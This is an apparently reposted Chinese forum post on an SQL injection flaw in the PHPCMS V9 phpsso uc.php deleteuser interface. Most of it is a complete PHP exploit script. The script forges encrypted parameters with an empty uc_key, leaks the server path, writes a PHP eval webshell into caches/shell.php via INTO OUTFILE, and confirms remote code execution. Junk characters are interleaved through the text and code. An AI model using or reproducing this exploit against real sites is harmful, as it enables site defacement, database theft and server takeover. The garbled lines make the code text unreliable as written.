PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。, c! z+ ^9 k# o# D6 B" ~
) v2 U; }- ~: O' C; @% v9 R
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* b# H; `% Y8 r, m5 T+ V+ v3 a! `
& P& ?9 w o9 h1 v
漏洞分析:8 T+ D. x' p- Y4 j! B0 i7 D, r
1.未启用ucenter服务的情况下uc_key为空 L0 E. F' n a u; n
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
7 D3 O. S1 j4 b4 @( L9 l2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ Y* G9 v$ V) x) y2 J) b5 V public function deleteuser($get,$post) {
% F' d9 R: l4 _7 n1 w. z3 R {* a pc_base::load_app_func('global', 'admin'); f9 T. s! I$ L7 _0 v, U
pc_base::load_app_class('messagequeue', 'admin' , 0);3 S' j! P. q8 Q
$ids = new_stripslashes($get['ids']);
3 L! s2 @7 [" j! p3 S5 p; a) \ $s = $this->member_db->select("ucuserid in ($ids)", "uid");" ^0 o0 L4 s1 ?3 b
SQL语句为5 @' N7 E8 `: I* r: Q$ b
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids), P+ s0 y5 b+ @+ B `
! L+ z* q5 g' v: d; `
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell9 {: ?1 z3 N& i' L4 W
<?php3 [- s* `( p% ?- N% S
print_r('8 n7 x( z& ?/ a" N( f4 ?# f7 U
---------------------------------------------------------------------------' v; s) S$ c: Y s( }! h
PHPcms (v9 or Old Version) uc api sql injection 0day
" R) U3 ^0 i/ G' cby rayh4c#80sec.com7 K3 m2 l- P8 u# d/ L7 }
---------------------------------------------------------------------------
. S& r( w X) R c');; `( m, T6 n: }9 a; F
+ w ^, l* Y$ M6 S% y! ]9 B2 }
if ($argc<3) {- U5 E9 Y8 C( v3 b
print_r('5 B3 L Q [, p' }" L& d. {
---------------------------------------------------------------------------" t% S: @' x( l7 {) t0 S' o1 V' q$ W
Usage: php '.$argv[0].' host path OPTIONS
. p$ @$ b' k' D+ Ghost: target server (ip/hostname)7 }, j! r' W' [ ]7 Y6 Z# p/ b
path: path to phpcms; x0 G7 h3 S! E! f' y
Options:
0 e. L# l; K! F( T7 i* H4 O -p[port]: specify a port other than 80# D; I! D8 u6 X; B
-P[ip:port]: specify a proxy) g3 V- b/ h! Y4 i; u. O
Example:' F: r# M1 E: a
php '.$argv[0].' localhost /
8 ^$ i% C5 U% X% X$ ?* l5 r( vphp '.$argv[0].' localhost /phpcms/ -p810 u+ i8 B3 a, P$ |, [/ s
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
5 P* J* A8 _' Z8 Z) }* M# C---------------------------------------------------------------------------3 N. y3 U" N7 X7 r4 ~# D3 H7 ~
');
5 I8 n' M8 g/ G: n( B die;% U5 w v. T9 A0 R3 b* ^
}0 H( n3 U5 h% @3 T8 h5 f# Q3 ~
0 j2 s; y/ g6 p" @: s# Verror_reporting(7);
" Z2 [, R$ k7 ]/ z) J- fini_set("max_execution_time",0);: Q0 h, Q" c0 O+ b5 X: W( ]
ini_set("default_socket_timeout",5);4 N5 [. W( Y: S' I3 s4 T/ y! D
$ [$ l ]% c/ Y3 |& Kfunction quick_dump($string)
S+ h- K' w1 ^{: T! l1 k2 X: k4 j, @
$result='';$exa='';$cont=0;" J2 H8 N( f2 I5 D5 F( l
for ($i=0; $i<=strlen($string)-1; $i++)
& F* c7 N% x: _9 Y) a {: R$ @& f; y0 K) F- h5 M1 \
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
3 ~. }) J# X0 U8 X2 ~; J {$result.=" .";}
: d; s+ L& v9 H1 Y. a3 d else& E4 D( }7 I+ G5 ?! O1 d! t, q9 L7 y
{$result.=" ".$string[$i];}. i8 p# X T/ h$ u+ E8 ]
if (strlen(dechex(ord($string[$i])))==2)
; d3 D v2 r3 q$ h* d q2 k {$exa.=" ".dechex(ord($string[$i]));}7 J' Z5 X6 \9 ]. S
else- @( g6 w* A; z
{$exa.=" 0".dechex(ord($string[$i]));}, i5 O/ f& b2 w; D4 ]
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}/ p3 y D0 Z3 ^1 r
}, I- T- v3 e& Y# l4 ^4 G4 B
return $exa."\r\n".$result;8 R) ?9 ?# ~0 R
}
- R- D4 x7 Y4 B- E$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. L, x( R" j4 z" ~! S `1 u p: H
; b) g6 j8 A6 `0 x! tfunction send($packet)" ?' ~, Z5 g+ [7 l% T
{
+ w) F P7 _& ]* B9 | global $proxy, $host, $port, $html, $proxy_regex;1 D% {; J _9 L* K8 W
if ($proxy=='') {
6 Q) A8 m) ~3 ]3 P, X6 l: T) n9 z3 P* H $ock=fsockopen(gethostbyname($host),$port);
5 i& N1 P% E; r8 t' ]5 ? M% Z if (!$ock) {1 g6 o- P5 `- k' F C
echo 'No response from '.$host.':'.$port; die;
, h% T1 `4 e4 i3 u4 h }
p; ?" N* b8 d" i. h( s5 d }9 Y" T& M; o2 F7 Y( M5 Z
else {
% S5 M. w" n! c3 S" n $c = preg_match($proxy_regex,$proxy);
5 Y4 K6 h( v, L if (!$c) {
; G9 }6 B5 Z8 _& e echo 'Not a valid proxy...';die;' k. R [) q2 J5 Y9 o; w |4 U
}: h) y# p6 U4 u# O$ r b2 p/ U7 {
$parts=explode(':',$proxy);
+ V: f! C0 }) y5 N $parts[1]=(int)$parts[1];
% Q& t* G, @; O$ b5 i, t1 E echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ T4 Z# X* Z2 |- z2 M* [
$ock=fsockopen($parts[0],$parts[1]);2 Q; [6 i1 G/ C. Q
if (!$ock) {
, \: M6 j/ y& \: }* m1 V echo 'No response from proxy...';die;
$ x/ B# T2 K4 a$ D+ L. q }8 T# C, Y# R' c' E' k+ g* H q3 @
}& D+ F3 k$ F1 M* Q6 o- X
fputs($ock,$packet);2 v2 |, B- i( u* d6 {$ H$ H- n
if ($proxy=='') {
" O7 w6 m9 l) a1 G( \' { $html='';
1 e* ?4 F+ F/ \0 U5 o; d8 ?8 q6 v' @ while (!feof($ock)) {) @6 v j* \. o) U) E# C8 k8 L
$html.=fgets($ock);
, |# B4 g9 a6 g) `9 x0 J% j% o( b' \$ w }
5 D' o" T' E/ [& G% S1 d! o }$ ?5 H# R( `: H& r
else {$ X- F# f* F. q' p3 \
$html='';
1 u p& I; p) s# i1 p% T& j1 M* M: \* g while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' V) @1 q" G- T# m2 m
$html.=fread($ock,1);
& z& O: M J6 B }
) l6 a. P( u7 {1 w2 k- F* a& U }
6 B5 _ Q2 U3 S fclose($ock);
- J6 Y) H/ a- E4 D5 d: I% @}
) T4 G/ h+ K) E% c& g: P h: M! G6 \! }3 P( T: r
$host=$argv[1];/ _. A0 _* t7 ^$ w
$path=$argv[2];& @; j! T: E3 r7 T4 `. m
$port=80;
* s9 m' G% v$ D% P$proxy="";# I) p9 P# j. {5 s4 u5 |! o
for ($i=3; $i<$argc; $i++){
# h7 Y0 K0 ?' q6 }0 C$temp=$argv[$i][0].$argv[$i][1];5 v2 ~$ v& Z- w5 u1 U" Y ?
if ($temp=="-p")! l/ n. I6 V, K# M$ @5 l; D
{
8 n4 c2 D! L* i0 | $port=(int)str_replace("-p","",$argv[$i]);/ P& ^4 O" F' K4 d# w1 j( F3 a
}8 @% h9 T% i! `" C
if ($temp=="-P")) E2 C! Y* L) ?+ |* `2 d& g
{$ O c0 p$ C" l; ~9 g: Y- z; ?
$proxy=str_replace("-P","",$argv[$i]);; J9 N Y9 \+ B# r8 `% x, O+ x
}
2 n7 f& D" r. E. c7 q}' N( P* E7 B$ A: b( ?! S
3 _+ e/ h; m& H, Wif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
! L H0 z9 O5 G3 gif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$ m/ @' U/ ~+ C0 X& f3 Y
/ I4 x2 q) K2 {! u% z; Jfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {1 q/ {8 g) \4 T! t7 I
& n3 v5 p( u% Q) t# H $ckey_length = 4;' u+ o1 G, m( Y g7 {
. u8 ^& G8 I* H& A/ v
$key = md5($key ? $key : '');
k9 D2 T& U( V ~2 `) B0 [ $keya = md5(substr($key, 0, 16));1 l+ {& H$ ~0 W' D g
$keyb = md5(substr($key, 16, 16));
" B9 b7 V2 p8 x1 A; h5 C $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
( }! Q' h! x9 }5 l. q0 C8 n9 c
+ M+ I9 G7 ^3 K $cryptkey = $keya.md5($keya.$keyc);6 I# _+ ], g3 E' J
$key_length = strlen($cryptkey);; C2 d. r3 d/ Q# b0 c* {& i
5 ]% U) }# e0 U+ [, {& @2 f+ T
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;% F: h, |' c5 s* t4 }5 B
$string_length = strlen($string);8 a! S: y4 O' b0 s5 L
8 V) e1 g! }- H: K$ G: Z4 j
$result = '';: J; Y# Q- B, W, X# b
$box = range(0, 255);
1 d, n* U; j) T- _# L3 X' h. S; e3 l3 \! d/ Y4 [( K8 I
$rndkey = array();
4 c" T+ p/ U# O4 [1 i' n for($i = 0; $i <= 255; $i++) {
& F" V: I v+ W. t1 @0 q $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ t: ^/ E9 k9 |# D' {. c }
& ~7 h, z3 x/ Z2 G; Q8 N; Q$ q6 d, z3 v0 D: k
for($j = $i = 0; $i < 256; $i++) {
" t2 g( x, q2 {$ @. J; i $j = ($j + $box[$i] + $rndkey[$i]) % 256;3 e* M/ T" e# e
$tmp = $box[$i];
7 f; v7 h5 E3 C% h# m% {: L $box[$i] = $box[$j];8 A3 I8 N0 D r9 g2 [% K
$box[$j] = $tmp;( k" c/ ~& [( k/ j+ N9 n
}
3 n+ L4 k- S: V% U$ g: x! E' r+ A" n) M* x
for($a = $j = $i = 0; $i < $string_length; $i++) {
/ R1 F q$ C" @* M) w9 r; N $a = ($a + 1) % 256;
4 c: ]+ M+ G& J% X: K: b# Z9 d8 W% u $j = ($j + $box[$a]) % 256;9 H+ N/ n `: ]% t7 w, o# S
$tmp = $box[$a];8 g( I2 v6 f" A# A8 d" \
$box[$a] = $box[$j];, q6 V9 B: l: ]) T o3 N# g% E
$box[$j] = $tmp;
( Z- p; E: z5 ?( o2 h $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: D2 N; z1 [ O5 h5 B- Q, K) r }
# s* h9 W+ _1 n0 W3 Z8 l* o
+ M }& E; a3 _ if($operation == 'DECODE') {! X. n% i9 Y1 S
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
]# B9 b5 R# E$ O& P# D return substr($result, 26);
/ G# B8 z9 p7 K } else {4 ~% Y# p1 M" b) F% S, }2 g
return '';
1 }( a1 |: m8 ]2 l3 @. R }
0 K* P+ l5 w8 [% n3 f- ^; N } else {
4 n$ z% \* x0 g! }4 l return $keyc.str_replace('=', '', base64_encode($result));
) j' G9 P; ], B' U }# X( m/ t1 `, A5 _) x3 x; T8 Q
7 _8 n& B& l% s4 A: E
}
[% v, {- H: k) Q+ }* ~
; G x6 |1 Y/ b8 L; h& Z$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 p0 V& Z( r( _* \# R: a+ h. u$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 b5 I y1 h, G. t8 pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) K1 l3 H+ o6 q% r1 S; E+ U$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";" u6 H" I4 p/ ]0 V# J8 O# K
$packet.="User-Agent: Mozilla/5.0\r\n";5 ^" m8 ~3 L7 v# r( _. w0 M) P
$packet.="Host: ".$host."\r\n";
) N. r3 _/ K8 U) m) n4 c0 j8 y. S. T$packet.="Connection: Close\r\n\r\n";
* |8 W! B! v8 |5 N8 x. X" msend($packet);5 n, \) X' Y, c( Z5 m5 k# N
if(strpos($html,"MySQL Errno") > 0){
, e/ f, V# q! z% u# Necho "[2] 发现存在SQL注入漏洞"."\n";0 h8 }% v, q* o$ e
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
0 ~( f2 N0 p6 {$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
& A+ T7 h9 H* N/ V$packet.="User-Agent: Mozilla/5.0\r\n";
3 Z$ e$ S* s ^$packet.="Host: ".$host."\r\n";' h( v. Y( t: N* b/ [/ \& _
$packet.="Connection: Close\r\n\r\n";6 P. y& J; k3 G4 j0 s. g/ {
send($packet);1 i7 f0 s. r; B4 a0 B9 B
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 |6 w- w! P! T
//print_r($matches);/ ?0 J) q8 J- I- b0 W! D
if(!empty($matches)){
- v7 D3 h1 W3 W: p% r( h# Zecho "[4] 得到web路径 " . $matches[0]."\n";
0 Q9 a, s$ F5 \2 i% C# N2 `! [echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! C! k; ^9 ?; h% s! x! K2 }6 j
$SQL = "time=999999999999999999999999&ids=1)";
2 o2 a" y4 {5 t! m9 i$ G( Z' D$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";. ~# X- k/ b" @( V2 J$ S
$SQL.="&action=deleteuser";
$ A: t6 a$ r1 M$ T! n+ F9 d/ W, B$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 N* |, B0 k3 @6 T1 ?" f* ^- C
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- \) v" w" [4 j) x
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";+ Q d* j( A4 y# c4 z
$packet.="User-Agent: Mozilla/5.0\r\n";5 U) r; S; y6 A& m
$packet.="Host: ".$host."\r\n";
$ t8 w. k9 c% N# s$packet.="Connection: Close\r\n\r\n";
( C, c* H( n# ksend($packet);4 n2 K" N$ T4 s! z b$ _' t+ u
if(strpos($html,"Access denied") > 0){% J8 g9 H: c1 D) C0 O$ d5 @% J
echo "[-] MYSQL权限过低 禁止写入文件 ";2 f% @" }( J, D! f, s/ f, \
die;( Z" d8 w; [" ~
}, y ~) e2 Z) I9 e6 r1 J9 K
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";8 R4 l2 a0 N7 r# L/ t& N$ z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
1 A. c$ c( `* q' j7 h$packet.="User-Agent: Mozilla/5.0\r\n";1 z$ F8 V d7 R& h; U
$packet.="Host: ".$host."\r\n";
) ^1 i6 T# _' f0 v( `# \6 c$packet.="Connection: Close\r\n\r\n";
$ I1 b+ Z0 _& Y9 c5 [0 | A3 msend($packet);$ M. q9 d* X: f6 _0 M" V
if(strpos($html,"<title>phpinfo()</title>") > 0){7 E% p3 K% l h0 @
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" h! s( E4 Q" U3 [7 h8 ^) D6 l2 k}! _$ }* ?& F* n* I( d. H
}else{
( p5 g( N: D# a; Secho "[-]未取到web路径 ";" q3 l5 o. e! X" ?, ^4 f
}" o7 _- N8 H4 e+ ?( c$ w
}else{
R& ^; Z% x. ~+ {9 g& k6 j$ J# ]/ recho "[*]不存在SQL注入漏洞"."\n";1 B' W: s- K3 K$ y' i6 F0 K
}: [( u4 G3 ~: K' Y+ \' v
D2 d" K7 l5 S6 T5 P+ B/ m
?>
' I! ?5 e1 P# R& I" D1 x. J I( S |